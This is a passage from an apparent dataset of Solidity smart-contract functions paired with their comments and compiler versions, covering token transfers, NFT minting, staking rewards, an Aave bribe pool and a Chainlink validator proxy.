"function ownerTransfer(address to, uint value)\r\n public\r\n onlyOwner\r\n {\r\n uint current_balance_all = 0;\r\n for (uint i = 0; i < accounts.length; i++)\r\n current_balance_all += account_data[accounts[i]].current_balance;\r\n require(getBalance() > current_balance_all && value <= getBalance() - current_balance_all);\r\n if (we_test_token.transfer(to, value))\r\n emit OwnerTransfer(to, value);\r\n }", "version": "0.4.23"} {"comment": "// Check what tokenIds are owned by a given wallets", "function_code": "function walletOfOwner(address _owner) external view returns (uint256[] memory) {\n uint256 ownerTokenCount = balanceOf(_owner);\n uint256[] memory tokenIds = new uint256[](ownerTokenCount);\n for (uint256 i; i < ownerTokenCount; i++) {\n tokenIds[i] = tokenOfOwnerByIndex(_owner, i);\n }\n return tokenIds;\n }", "version": "0.8.4"} {"comment": "// Gives the tokenURI for a given tokenId", "function_code": "function tokenURI(uint256 tokenId) public view override returns (string memory) {\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\n\n string memory currentBaseURI = _baseURI();\n\n // If not revealed, show non-revealed image\n if (!revealed) {\n return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI)) : \"\";\n }\n // else, show revealed image\n return\n bytes(currentBaseURI).length > 0\n ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))\n : \"\";\n }", "version": "0.8.4"} {"comment": "// Will be used to gift the team ", "function_code": "function gift(uint256 _mintAmount, address destination) external onlyOwner {\n require(_mintAmount > 0, \"need to mint at least 1 NFT\");\n uint256 supply = totalSupply();\n require(supply + _mintAmount <= maxSupply, \"max NFT limit exceeded\");\n\n for (uint256 i = 1; i <= _mintAmount; i++) {\n addressMintedBalance[destination]++;\n _safeMint(destination, supply + i);\n }\n }", "version": "0.8.4"} {"comment": "// count number of bytes required to represent an unsigned integer", "function_code": "function count_bytes(uint256 n) constant internal returns (uint256 c) {\r\n uint i = 0;\r\n uint mask = 1;\r\n while (n >= mask) {\r\n i += 1;\r\n mask *= 256;\r\n }\r\n\r\n return i;\r\n }", "version": "0.4.16"} {"comment": "// Spec: Send `value` amount of tokens from address `from` to address `to`", "function_code": "function transferFrom(address from, address to, uint256 value) public returns (bool success) {\r\n address spender = msg.sender;\r\n if(value <= s_allowances[from][spender] && internalTransfer(from, to, value)) {\r\n s_allowances[from][spender] -= value;\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.16"} {"comment": "// Spec: Allow `spender` to withdraw from your account, multiple times, up\n// to the `value` amount. If this function is called again it overwrites the\n// current allowance with `value`.", "function_code": "function approve(address spender, uint256 value) public returns (bool success) {\r\n address owner = msg.sender;\r\n if (value != 0 && s_allowances[owner][spender] != 0) {\r\n return false;\r\n }\r\n s_allowances[owner][spender] = value;\r\n Approval(owner, spender, value);\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "// Destroys `value` child contracts and updates s_tail.\n//\n// This function is affected by an issue in solc: https://github.com/ethereum/solidity/issues/2999\n// The `mk_contract_address(this, i).call();` doesn't forward all available gas, but only GAS - 25710.\n// As a result, when this line is executed with e.g. 30000 gas, the callee will have less than 5000 gas\n// available and its SELFDESTRUCT operation will fail leading to no gas refund occurring.\n// The remaining ~29000 gas left after the call is enough to update s_tail and the caller's balance.\n// Hence tokens will have been destroyed without a commensurate gas refund.\n// Fortunately, there is a simple workaround:\n// Whenever you call free, freeUpTo, freeFrom, or freeUpToFrom, ensure that you pass at least\n// 25710 + `value` * (1148 + 5722 + 150) gas. (It won't all be used)", "function_code": "function destroyChildren(uint256 value) internal {\r\n uint256 tail = s_tail;\r\n // tail points to slot behind the last contract in the queue\r\n for (uint256 i = tail + 1; i <= tail + value; i++) {\r\n mk_contract_address(this, i).call();\r\n }\r\n\r\n s_tail = tail + value;\r\n }", "version": "0.4.16"} {"comment": "// Frees `value` sub-tokens owned by address `from`. Requires that `msg.sender`\n// has been approved by `from`.\n// You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas\n// when calling this function. For details, see the comment above `destroyChilden`.", "function_code": "function freeFrom(address from, uint256 value) public returns (bool success) {\r\n address spender = msg.sender;\r\n uint256 from_balance = s_balances[from];\r\n if (value > from_balance) {\r\n return false;\r\n }\r\n\r\n mapping(address => uint256) from_allowances = s_allowances[from];\r\n uint256 spender_allowance = from_allowances[spender];\r\n if (value > spender_allowance) {\r\n return false;\r\n }\r\n\r\n destroyChildren(value);\r\n\r\n s_balances[from] = from_balance - value;\r\n from_allowances[spender] = spender_allowance - value;\r\n\r\n return true;\r\n }", "version": "0.4.16"} {"comment": "// Frees up to `value` sub-tokens owned by address `from`. Returns how many tokens were freed.\n// Otherwise, identical to `freeFrom`.\n// You should ensure that you pass at least 25710 + `value` * (1148 + 5722 + 150) gas\n// when calling this function. For details, see the comment above `destroyChilden`.", "function_code": "function freeFromUpTo(address from, uint256 value) public returns (uint256 freed) {\r\n address spender = msg.sender;\r\n uint256 from_balance = s_balances[from];\r\n if (value > from_balance) {\r\n value = from_balance;\r\n }\r\n\r\n mapping(address => uint256) from_allowances = s_allowances[from];\r\n uint256 spender_allowance = from_allowances[spender];\r\n if (value > spender_allowance) {\r\n value = spender_allowance;\r\n }\r\n\r\n destroyChildren(value);\r\n\r\n s_balances[from] = from_balance - value;\r\n from_allowances[spender] = spender_allowance - value;\r\n\r\n return value;\r\n }", "version": "0.4.16"} {"comment": "/* generates a number from 0 to 2^n based on the last n blocks */", "function_code": "function multiBlockRandomGen(uint seed, uint size) constant returns (uint randomNumber) {\r\n uint n = 0;\r\n for (uint i = 0; i < size; i++){\r\n if (uint(sha3(block.blockhash(block.number-i-1), seed ))%2==0)\r\n n += 2**i;\r\n }\r\n return n;\r\n }", "version": "0.2.1"} {"comment": "// Deposit Token", "function_code": "function deposit(uint256 _amount) external {\n lpToken.safeTransferFrom(msg.sender,address(this),_amount);\n UserInfo storage user = userInfo[msg.sender];\n \n if(user.amount != 0) {\n user.pointsDebt = pointsBalance(msg.sender);\n }\n\n if(participationFee > 0){\n uint256 fee = _amount.mul(participationFee).div(10000);\n lpToken.safeTransfer(feeAddress, fee);\n user.amount = user.amount.add(_amount).sub(fee);\n }else{\n user.amount = user.amount.add(_amount);\n }\n user.lastUpdateAt = block.timestamp;\n }", "version": "0.8.0"} {"comment": "// redeem NFT with points earned", "function_code": "function redeem(uint256 _nftIndex) public {\n NFTInfo storage nft = nftInfo[_nftIndex];\n require(nft.redeemed == false, \"Token is already redeemed\");\n require(pointsBalance(msg.sender) >= nft.price, \"Insufficient Points\");\n UserInfo storage user = userInfo[msg.sender];\n \n // deduct points\n user.pointsDebt = pointsBalance(msg.sender).sub(nft.price);\n user.lastUpdateAt = block.timestamp;\n \n nft.redeemed = true;\n\n // transfer nft\n IERC721(nft.contractAddress).safeTransferFrom(address(this),msg.sender,nft.nftId);\n }", "version": "0.8.0"} {"comment": "/* Before first sending, make sure to allow this contract spending from token contract with function approve(address _spender, uint256 _value)\r\n ** and to update tokensApproved with function updateTokensApproved () */", "function_code": "function dropCoinsSingle(address[] dests, uint256 tokens) {\r\n require(msg.sender == _multiSendOwner && tokensApproved >= (dests.length * tokens));\r\n uint256 i = 0;\r\n while (i < dests.length) {\r\n _STCnContract.transferFrom(_multiSendOwner, dests[i], tokens);\r\n i += 1;\r\n }\r\n updateTokensApproved();\r\n }", "version": "0.4.19"} {"comment": "// update users' productivity by value with boolean value indicating increase or decrease.", "function_code": "function _updateProductivity(Productivity storage user, uint value, bool increase) private {\r\n user.product = user.product.add(_computeProductivity(user));\r\n global.product = global.product.add(_computeProductivity(global));\r\n\r\n require(global.product <= uint(-1), 'GLOBAL_PRODUCT_OVERFLOW');\r\n\r\n user.block = block.number;\r\n global.block = block.number;\r\n if(increase) {\r\n user.total = user.total.add(value);\r\n global.total = global.total.add(value);\r\n }\r\n else {\r\n user.total = user.total.sub(value);\r\n global.total = global.total.sub(value);\r\n }\r\n }", "version": "0.6.8"} {"comment": "// External function call\n// This function adjust how many token will be produced by each block, eg:\n// changeAmountPerBlock(100)\n// will set the produce rate to 100/block.", "function_code": "function changeAmountPerBlock(uint value) external requireGovernor returns (bool) {\r\n uint old = grossProduct.amount;\r\n require(value != old, 'AMOUNT_PER_BLOCK_NO_CHANGE');\r\n\r\n uint product = _computeBlockProduct();\r\n grossProduct.total = grossProduct.total.add(product);\r\n grossProduct.block = block.number;\r\n grossProduct.amount = value;\r\n require(grossProduct.total <= uint(-1), 'BLOCK_PRODUCT_OVERFLOW');\r\n\r\n emit AmountPerBlockChanged(old, value);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "// External function call\n// This function increase user's productivity and updates the global productivity.\n// the users' actual share percentage will calculated by:\n// Formula: user_productivity / global_productivity", "function_code": "function increaseProductivity(address user, uint value) external requireImpl returns (bool) {\r\n require(value > 0, 'PRODUCTIVITY_VALUE_MUST_BE_GREATER_THAN_ZERO');\r\n Productivity storage product = users[user];\r\n\r\n if (product.block == 0) {\r\n product.gross = grossProduct.total.add(_computeBlockProduct());\r\n\t\t\tproduct.global = global.product.add(_computeProductivity(global));\r\n }\r\n \r\n _updateProductivity(product, value, true);\r\n emit ProductivityIncreased(user, value);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "// External function call \n// This function will decreases user's productivity by value, and updates the global productivity\n// it will record which block this is happenning and accumulates the area of (productivity * time)", "function_code": "function decreaseProductivity(address user, uint value) external requireImpl returns (bool) {\r\n Productivity storage product = users[user];\r\n\r\n require(value > 0 && product.total >= value, 'INSUFFICIENT_PRODUCTIVITY');\r\n \r\n _updateProductivity(product, value, false);\r\n emit ProductivityDecreased(user, value);\r\n return true;\r\n }", "version": "0.6.8"} {"comment": "// External function call\n// When user calls this function, it will calculate how many token will mint to user from his productivity * time\n// Also it calculates global token supply from last time the user mint to this time.", "function_code": "function mint() external lock returns (uint) {\r\n (uint gp, uint userProduct, uint globalProduct, uint amount) = _computeUserProduct();\r\n require(amount > 0, 'NO_PRODUCTIVITY');\r\n Productivity storage product = users[msg.sender];\r\n product.gross = gp;\r\n product.user = userProduct;\r\n product.global = globalProduct;\r\n\r\n balanceOf[msg.sender] = balanceOf[msg.sender].add(amount);\r\n totalSupply = totalSupply.add(amount);\r\n mintCumulation = mintCumulation.add(amount);\r\n\r\n emit Transfer(address(0), msg.sender, amount);\r\n return amount;\r\n }", "version": "0.6.8"} {"comment": "// Returns how many token he will be able to mint.", "function_code": "function _computeUserProduct() private view returns (uint gp, uint userProduct, uint globalProduct, uint amount) {\r\n Productivity memory product = users[msg.sender];\r\n\r\n gp = grossProduct.total.add(_computeBlockProduct());\r\n userProduct = product.product.add(_computeProductivity(product));\r\n globalProduct = global.product.add(_computeProductivity(global));\r\n\r\n uint deltaBlockProduct = gp.sub(product.gross);\r\n uint numerator = userProduct.sub(product.user);\r\n uint denominator = globalProduct.sub(product.global);\r\n\r\n if (denominator > 0) {\r\n amount = deltaBlockProduct.mul(numerator) / denominator;\r\n }\r\n }", "version": "0.6.8"} {"comment": "/// @notice deposit\n/// @param asset either Aave or stkAave\n/// @param recipient address to mint the receipt tokens\n/// @param amount amount of tokens to deposit\n/// @param claim claim stk aave rewards from Aave", "function_code": "function deposit(\n IERC20 asset,\n address recipient,\n uint128 amount,\n bool claim\n ) external override whenNotPaused nonReentrant {\n if (asset == aaveToken) {\n _deposit(asset, wrapperAaveToken, recipient, amount, claim);\n } else {\n _deposit(stkAaveToken, wrapperStkAaveToken, recipient, amount, claim);\n }\n }", "version": "0.8.4"} {"comment": "/// @dev refund bid for a cancelled proposal ONLY if it was not voted on\n/// @param proposalId proposal id", "function_code": "function refund(uint256 proposalId) external nonReentrant {\n IAaveGovernanceV2.ProposalState state = IAaveGovernanceV2(aaveGovernance).getProposalState(\n proposalId\n );\n\n require(state == IAaveGovernanceV2.ProposalState.Canceled, \"PROPOSAL_ACTIVE\");\n\n Bid storage currentBid = bids[proposalId];\n uint128 highestBid = currentBid.highestBid;\n address highestBidder = currentBid.highestBidder;\n\n // we do not refund if no high bid or if the proposal has been voted on\n if (highestBid == 0 || currentBid.voted) return;\n\n // reset the bid proposal state\n delete bids[proposalId];\n\n // refund the bid money\n pendingRewardToBeDistributed -= highestBid;\n bidAsset.safeTransfer(highestBidder, highestBid);\n\n emit Refund(proposalId, highestBidder, highestBid);\n }", "version": "0.8.4"} {"comment": "/// @dev distribute rewards for the proposal\n/// @notice called in children's vote function (after bidding process ended)\n/// @param proposalId id of proposal to distribute rewards fo", "function_code": "function distributeRewards(uint256 proposalId) public {\n Bid storage currentBid = bids[proposalId];\n\n // ensure that the bidding period has ended\n require(block.timestamp > currentBid.endTime, \"BID_ACTIVE\");\n\n if (currentBid.voted) return;\n\n uint128 highestBid = currentBid.highestBid;\n uint128 feeAmount = _calculateFeeAmount(highestBid);\n\n // reduce pending reward\n pendingRewardToBeDistributed -= highestBid;\n assetIndex.bidIndex += (highestBid - feeAmount);\n feesReceived += feeAmount;\n currentBid.voted = true;\n // rewrite the highest bid minus fee\n // set and increase the bid id\n bidIdToProposalId[assetIndex.bidId] = proposalId;\n assetIndex.bidId += 1;\n\n emit RewardDistributed(proposalId, highestBid);\n }", "version": "0.8.4"} {"comment": "/// @dev withdrawFees withdraw fees\n/// Enables ONLY the fee receipient to withdraw the pool accrued fees", "function_code": "function withdrawFees() external override nonReentrant returns (uint256 feeAmount) {\n require(msg.sender == feeReceipient, \"ONLY_RECEIPIENT\");\n\n feeAmount = feesReceived;\n\n if (feeAmount > 0) {\n feesReceived = 0;\n bidAsset.safeTransfer(feeReceipient, feeAmount);\n }\n\n emit WithdrawFees(address(this), feeAmount, block.timestamp);\n }", "version": "0.8.4"} {"comment": "/// @dev get reward amount for user specified by `user`\n/// @param user address of user to check balance of", "function_code": "function rewardBalanceOf(address user)\n external\n view\n returns (\n uint256 totalPendingBidReward,\n uint256 totalPendingStkAaveReward,\n uint256 totalPendingBribeReward\n )\n {\n uint256 userAaveBalance = wrapperAaveToken.balanceOf(user);\n uint256 userStkAaveBalance = wrapperStkAaveToken.balanceOf(user);\n uint256 pendingBribeReward = _userPendingBribeReward(\n userAaveBalance + userStkAaveBalance,\n users[user].bribeLastRewardPerShare,\n _calculateBribeRewardPerShare(_calculateBribeRewardIndex())\n );\n\n uint256 pendingBidReward;\n\n uint256 currentBidRewardCount = assetIndex.bidId;\n\n if (userAaveBalance > 0) {\n pendingBidReward += _calculateUserPendingBidRewards(\n wrapperAaveToken,\n user,\n users[user].aaveLastBidId,\n currentBidRewardCount\n );\n }\n\n if (userStkAaveBalance > 0) {\n pendingBidReward += _calculateUserPendingBidRewards(\n wrapperStkAaveToken,\n user,\n users[user].stkAaveLastBidId,\n currentBidRewardCount\n );\n }\n\n totalPendingBidReward = users[user].totalPendingBidReward + pendingBidReward;\n (uint128 rewardsToReceive, ) = _stkAaveRewardsToReceive();\n\n totalPendingStkAaveReward =\n users[user].totalPendingStkAaveReward +\n _userPendingstkAaveRewards(\n user,\n users[user].stkAaveLastRewardPerShare,\n _calculateStkAaveRewardPerShare(rewardsToReceive),\n wrapperStkAaveToken\n );\n totalPendingBribeReward = users[user].totalPendingBribeReward + pendingBribeReward;\n }", "version": "0.8.4"} {"comment": "/// @dev claimReward for msg.sender\n/// @param to address to send the rewards to\n/// @param executor An external contract to call with\n/// @param data data to call the executor contract\n/// @param claim claim stk aave rewards from Aave", "function_code": "function claimReward(\n address to,\n IBribeExecutor executor,\n bytes calldata data,\n bool claim\n ) external whenNotPaused nonReentrant {\n // accrue rewards for both stkAave and Aave token balances\n _accrueRewards(msg.sender, claim);\n\n UserInfo storage _currentUser = users[msg.sender];\n\n uint128 pendingBid = _currentUser.totalPendingBidReward;\n uint128 pendingStkAaveReward = _currentUser.totalPendingStkAaveReward;\n uint128 pendingBribeReward = _currentUser.totalPendingBribeReward;\n\n unchecked {\n // reset the reward calculation\n _currentUser.totalPendingBidReward = 0;\n _currentUser.totalPendingStkAaveReward = 0;\n // update lastStkAaveRewardBalance\n assetIndex.lastStkAaveRewardBalance -= pendingStkAaveReward;\n }\n\n if (pendingBid > 0) {\n bidAsset.safeTransfer(to, pendingBid);\n }\n\n if (pendingStkAaveReward > 0 && claim) {\n // claim stk aave rewards\n IStakedAave(address(stkAaveToken)).claimRewards(to, pendingStkAaveReward);\n }\n\n if (pendingBribeReward > 0 && bribeToken.balanceOf(address(this)) > pendingBribeReward) {\n _currentUser.totalPendingBribeReward = 0;\n\n if (address(executor) != address(0)) {\n bribeToken.safeTransfer(address(executor), pendingBribeReward);\n executor.execute(msg.sender, pendingBribeReward, data);\n } else {\n require(to != address(0), \"INVALID_ADDRESS\");\n bribeToken.safeTransfer(to, pendingBribeReward);\n }\n }\n\n emit RewardClaim(\n msg.sender,\n pendingBid,\n pendingStkAaveReward,\n pendingBribeReward,\n block.timestamp\n );\n }", "version": "0.8.4"} {"comment": "/// @dev block a proposalId from used in the pool\n/// @param proposalId proposalId", "function_code": "function blockProposalId(uint256 proposalId) external onlyOwner {\n require(blockedProposals[proposalId] == false, \"PROPOSAL_INACTIVE\");\n Bid storage currentBid = bids[proposalId];\n\n // check if the propoal has already been voted on\n require(currentBid.voted == false, \"BID_DISTRIBUTED\");\n\n blockedProposals[proposalId] = true;\n\n uint128 highestBid = currentBid.highestBid;\n\n // check if the proposalId has any bids\n // if there is any current highest bidder\n // and the reward has not been distributed refund the bidder\n if (highestBid > 0) {\n pendingRewardToBeDistributed -= highestBid;\n address highestBidder = currentBid.highestBidder;\n // reset the bids\n delete bids[proposalId];\n bidAsset.safeTransfer(highestBidder, highestBid);\n }\n\n emit BlockProposalId(proposalId, block.timestamp);\n }", "version": "0.8.4"} {"comment": "/// @notice setStartTimestamp\n/// @param startTimestamp when to start distributing rewards\n/// @param rewardPerSecond reward to distribute per second", "function_code": "function setStartTimestamp(uint64 startTimestamp, uint128 rewardPerSecond) external onlyOwner {\n require(startTimestamp > block.timestamp, \"INVALID_START_TIMESTAMP\");\n if (bribeRewardConfig.endTimestamp != 0) {\n require(startTimestamp < bribeRewardConfig.endTimestamp, \"HIGH_TIMESTAMP\");\n }\n\n _updateBribeRewardIndex();\n\n uint64 oldTimestamp = bribeRewardConfig.startTimestamp;\n bribeRewardConfig.startTimestamp = startTimestamp;\n\n _setRewardPerSecond(rewardPerSecond);\n\n emit SetBribeRewardStartTimestamp(oldTimestamp, startTimestamp);\n }", "version": "0.8.4"} {"comment": "/// @dev deposit governance token\n/// @param asset asset to withdraw\n/// @param receiptToken asset wrapper token\n/// @param recipient address to award the receipt tokens\n/// @param amount amount to deposit\n/// @param claim claim pending stk aave rewards\n/// @notice emit {Deposit} event", "function_code": "function _deposit(\n IERC20 asset,\n IWrapperToken receiptToken,\n address recipient,\n uint128 amount,\n bool claim\n ) internal {\n require(amount > 0, \"INVALID_AMOUNT\");\n\n // accrue user pending rewards\n _accrueRewards(recipient, claim);\n\n asset.safeTransferFrom(msg.sender, address(this), amount);\n\n // performs check that recipient != address(0)\n receiptToken.mint(recipient, amount);\n\n emit Deposit(asset, recipient, amount, block.timestamp);\n }", "version": "0.8.4"} {"comment": "/// @dev _calculateBribeRewardIndex", "function_code": "function _calculateBribeRewardIndex() internal view returns (uint256 amount) {\n if (\n bribeRewardConfig.startTimestamp == 0 ||\n bribeRewardConfig.startTimestamp > block.timestamp\n ) return 0;\n\n uint64 startTimestamp = (bribeRewardConfig.startTimestamp >\n assetIndex.bribeLastRewardTimestamp)\n ? bribeRewardConfig.startTimestamp\n : assetIndex.bribeLastRewardTimestamp;\n\n uint256 endTimestamp;\n\n if (bribeRewardConfig.endTimestamp == 0) {\n endTimestamp = block.timestamp;\n } else {\n endTimestamp = block.timestamp > bribeRewardConfig.endTimestamp\n ? bribeRewardConfig.endTimestamp\n : block.timestamp;\n }\n\n if (endTimestamp > startTimestamp) {\n amount =\n (endTimestamp - startTimestamp) *\n bribeRewardConfig.rewardAmountDistributedPerSecond;\n }\n }", "version": "0.8.4"} {"comment": "/// @dev _userPendingBribeReward\n/// @param userBalance user aave + stkAave balance\n/// @param userLastPricePerShare user last price per share\n/// @param currentBribeRewardPerShare current reward per share", "function_code": "function _userPendingBribeReward(\n uint256 userBalance,\n uint256 userLastPricePerShare,\n uint256 currentBribeRewardPerShare\n ) internal pure returns (uint256 pendingReward) {\n if (userBalance > 0 && currentBribeRewardPerShare > 0) {\n pendingReward = ((userBalance * (currentBribeRewardPerShare - userLastPricePerShare)) /\n SHARE_SCALE).toUint128();\n }\n }", "version": "0.8.4"} {"comment": "/// @dev returns the user bid reward share\n/// @param receiptToken wrapper token\n/// @param user user\n/// @param userLastBidId user last bid id", "function_code": "function _userPendingBidRewards(\n uint128 currentBidIndex,\n IWrapperToken receiptToken,\n address user,\n uint128 userLastBidId\n ) internal view returns (uint256 accrueBidId, uint256 totalPendingReward) {\n if (currentBidIndex == 0) return (0, 0);\n\n uint256 currentBidRewardCount = assetIndex.bidId;\n\n if (userLastBidId == currentBidRewardCount) return (currentBidRewardCount, 0);\n\n accrueBidId = (currentBidRewardCount - userLastBidId) <= MAX_CLAIM_ITERATIONS\n ? currentBidRewardCount\n : userLastBidId + MAX_CLAIM_ITERATIONS;\n\n totalPendingReward = _calculateUserPendingBidRewards(\n receiptToken,\n user,\n userLastBidId,\n accrueBidId\n );\n }", "version": "0.8.4"} {"comment": "/// @dev _calculateUserPendingBidRewards\n/// @param receiptToken wrapper token\n/// @param user user\n/// @param userLastBidId user last bid id\n/// @param maxRewardId maximum bid id to accrue rewards to", "function_code": "function _calculateUserPendingBidRewards(\n IWrapperToken receiptToken,\n address user,\n uint256 userLastBidId,\n uint256 maxRewardId\n ) internal view returns (uint256 totalPendingReward) {\n for (uint256 i = userLastBidId; i < maxRewardId; i++) {\n uint256 proposalId = bidIdToProposalId[i];\n Bid storage _bid = bids[proposalId];\n uint128 highestBid = _bid.highestBid;\n // only calculate if highest bid is available and it has been distributed\n if (highestBid > 0 && _bid.voted) {\n uint256 amount = receiptToken.getDepositAt(user, _bid.proposalStartBlock);\n if (amount > 0) {\n // subtract fee from highest bid\n totalPendingReward +=\n (amount * (highestBid - _calculateFeeAmount(highestBid))) /\n _bid.totalVotes;\n }\n }\n }\n }", "version": "0.8.4"} {"comment": "/// @dev _calculateStkAaveRewardPerShare\n/// @param rewardsToReceive amount of aave rewards to receive", "function_code": "function _calculateStkAaveRewardPerShare(uint256 rewardsToReceive)\n internal\n view\n returns (uint128 newRewardPerShare)\n {\n uint256 increaseRewardSharePrice;\n if (rewardsToReceive > 0) {\n increaseRewardSharePrice = ((rewardsToReceive * SHARE_SCALE) /\n wrapperStkAaveToken.totalSupply());\n }\n\n newRewardPerShare = (assetIndex.stkAaveRewardPerShare + increaseRewardSharePrice)\n .toUint128();\n }", "version": "0.8.4"} {"comment": "/// @dev get the user stkAave aave reward share\n/// @param user user address\n/// @param userLastPricePerShare userLastPricePerShare\n/// @param currentStkAaveRewardPerShare the latest reward per share\n/// @param receiptToken stak aave wrapper token", "function_code": "function _userPendingstkAaveRewards(\n address user,\n uint128 userLastPricePerShare,\n uint128 currentStkAaveRewardPerShare,\n IWrapperToken receiptToken\n ) internal view returns (uint256 pendingReward) {\n uint256 userBalance = receiptToken.balanceOf(user);\n\n if (userBalance > 0 && currentStkAaveRewardPerShare > 0) {\n uint128 rewardDebt = ((userBalance * userLastPricePerShare) / SHARE_SCALE).toUint128();\n pendingReward = (((userBalance * currentStkAaveRewardPerShare) / SHARE_SCALE) -\n rewardDebt).toUint128();\n }\n }", "version": "0.8.4"} {"comment": "/**\r\n * For future use only whne we will need more tokens for our main application\r\n * Create mintedAmount new tokens and give new created tokens to target.\r\n * May only be called by smart contract owner.\r\n * @param mintedAmount number of tokens to create\r\n * @return true if tokens were created successfully, false otherwise\r\n */", "function_code": "function mintToken(address target, uint256 mintedAmount) \r\n returns (bool success) {\r\n require (msg.sender == owner);\r\n if (mintedAmount > 0) {\r\n\t \r\n accounts [target] = safeAdd (accounts [target], mintedAmount);\r\n tokenCount = safeAdd (tokenCount, mintedAmount);\r\n\t \r\n\t // adding transfer event and _from address as null address\r\n\t Transfer(0x0, target, mintedAmount);\r\n\t \r\n\t return true;\r\n }\r\n\t return false;\r\n }", "version": "0.4.19"} {"comment": "/** @notice A distinct Uniform Resource Identifier (URI) for a given asset.\r\n * @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC\r\n * 3986. The URI may point to a JSON file that conforms to the \"ERC721\r\n * Metadata JSON Schema\".\r\n * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md\r\n */", "function_code": "function tokenURI(\r\n uint256 _tokenId\r\n ) external\r\n view\r\n isKey(_tokenId)\r\n returns(string memory)\r\n {\r\n string memory URI;\r\n if(bytes(baseTokenURI).length == 0) {\r\n URI = unlockProtocol.globalBaseTokenURI();\r\n } else {\r\n URI = baseTokenURI;\r\n }\r\n\r\n return URI.strConcat(\r\n address(this).address2Str(),\r\n '/',\r\n _tokenId.uint2Str()\r\n );\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Ensures that the msg.sender has paid at least the price stated.\r\n *\r\n * With ETH, this means the function originally called was `payable` and the\r\n * transaction included at least the amount requested.\r\n *\r\n * Security: be wary of re-entrancy when calling this function.\r\n */", "function_code": "function _chargeAtLeast(\r\n uint _price\r\n ) internal returns (uint)\r\n {\r\n if(_price > 0) {\r\n if(tokenAddress == address(0)) {\r\n require(msg.value >= _price, 'NOT_ENOUGH_FUNDS');\r\n return msg.value;\r\n } else {\r\n IERC20 token = IERC20(tokenAddress);\r\n token.safeTransferFrom(msg.sender, address(this), _price);\r\n return _price;\r\n }\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\r\n * Transfers funds from the contract to the account provided.\r\n *\r\n * Security: be wary of re-entrancy when calling this function.\r\n */", "function_code": "function _transfer(\r\n address _tokenAddress,\r\n address _to,\r\n uint _amount\r\n ) internal\r\n {\r\n if(_amount > 0) {\r\n if(_tokenAddress == address(0)) {\r\n // https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/\r\n address(uint160(_to)).sendValue(_amount);\r\n } else {\r\n IERC20 token = IERC20(_tokenAddress);\r\n token.safeTransfer(_to, _amount);\r\n }\r\n }\r\n }", "version": "0.5.14"} {"comment": "/**\n * @notice Validate a transmission\n * @dev Must be called by either the `s_currentAggregator.target`, or the `s_proposedAggregator`.\n * If called by the `s_currentAggregator.target` this function passes the call on to the `s_currentValidator.target`\n * and the `s_proposedValidator`, if it is set.\n * If called by the `s_proposedAggregator` this function emits a `ProposedAggregatorValidateCall` to signal that\n * the call was received.\n * @dev To guard against external `validate` calls reverting, we use raw calls here.\n * We favour `call` over try-catch to ensure that failures are avoided even if the validator address is incorrectly\n * set as a non-contract address.\n * @dev If the `aggregator` and `validator` are the same contract or collude, this could exhibit reentrancy behavior.\n * However, since that contract would have to be explicitly written for reentrancy and that the `owner` would have\n * to configure this contract to use that malicious contract, we refrain from using mutex or check here.\n * @dev This does not perform any checks on any roundId, so it is possible that a validator receive different reports\n * for the same roundId at different points in time. Validator implementations should be aware of this.\n * @param previousRoundId uint256\n * @param previousAnswer int256\n * @param currentRoundId uint256\n * @param currentAnswer int256\n * @return bool\n */", "function_code": "function validate(\n uint256 previousRoundId,\n int256 previousAnswer,\n uint256 currentRoundId,\n int256 currentAnswer\n ) external override returns (bool) {\n address currentAggregator = s_currentAggregator.target;\n if (msg.sender != currentAggregator) {\n address proposedAggregator = s_proposedAggregator;\n require(msg.sender == proposedAggregator, \"Not a configured aggregator\");\n // If the aggregator is still in proposed state, emit an event and don't push to any validator.\n // This is to confirm that `validate` is being called prior to upgrade.\n emit ProposedAggregatorValidateCall(\n proposedAggregator,\n previousRoundId,\n previousAnswer,\n currentRoundId,\n currentAnswer\n );\n return true;\n }\n\n // Send the validate call to the current validator\n ValidatorConfiguration memory currentValidator = s_currentValidator;\n address currentValidatorAddress = address(currentValidator.target);\n require(currentValidatorAddress != address(0), \"No validator set\");\n currentValidatorAddress.call(\n abi.encodeWithSelector(\n AggregatorValidatorInterface.validate.selector,\n previousRoundId,\n previousAnswer,\n currentRoundId,\n currentAnswer\n )\n );\n // If there is a new proposed validator, send the validate call to that validator also\n if (currentValidator.hasNewProposal) {\n address(s_proposedValidator).call(\n abi.encodeWithSelector(\n AggregatorValidatorInterface.validate.selector,\n previousRoundId,\n previousAnswer,\n currentRoundId,\n currentAnswer\n )\n );\n }\n return true;\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Propose an aggregator\n * @dev A zero address can be used to unset the proposed aggregator. Only owner can call.\n * @param proposed address\n */", "function_code": "function proposeNewAggregator(address proposed) external onlyOwner {\n require(s_proposedAggregator != proposed && s_currentAggregator.target != proposed, \"Invalid proposal\");\n s_proposedAggregator = proposed;\n // If proposed is zero address, hasNewProposal = false\n s_currentAggregator.hasNewProposal = (proposed != address(0));\n emit AggregatorProposed(proposed);\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Upgrade the aggregator by setting the current aggregator as the proposed aggregator.\n * @dev Must have a proposed aggregator. Only owner can call.\n */", "function_code": "function upgradeAggregator() external onlyOwner {\n // Get configuration in memory\n AggregatorConfiguration memory current = s_currentAggregator;\n address previous = current.target;\n address proposed = s_proposedAggregator;\n\n // Perform the upgrade\n require(current.hasNewProposal, \"No proposal\");\n s_currentAggregator = AggregatorConfiguration({target: proposed, hasNewProposal: false});\n delete s_proposedAggregator;\n\n emit AggregatorUpgraded(previous, proposed);\n }", "version": "0.8.6"} {"comment": "// Reserves 30 planets", "function_code": "function reservePlanets() public onlyOwner { \r\n uint supply = totalSupply();\r\n uint i;\r\n for (i = 0; i < 30; i++) {\r\n _safeMint(msg.sender, supply + i);\r\n count += 1;\r\n }\r\n emit 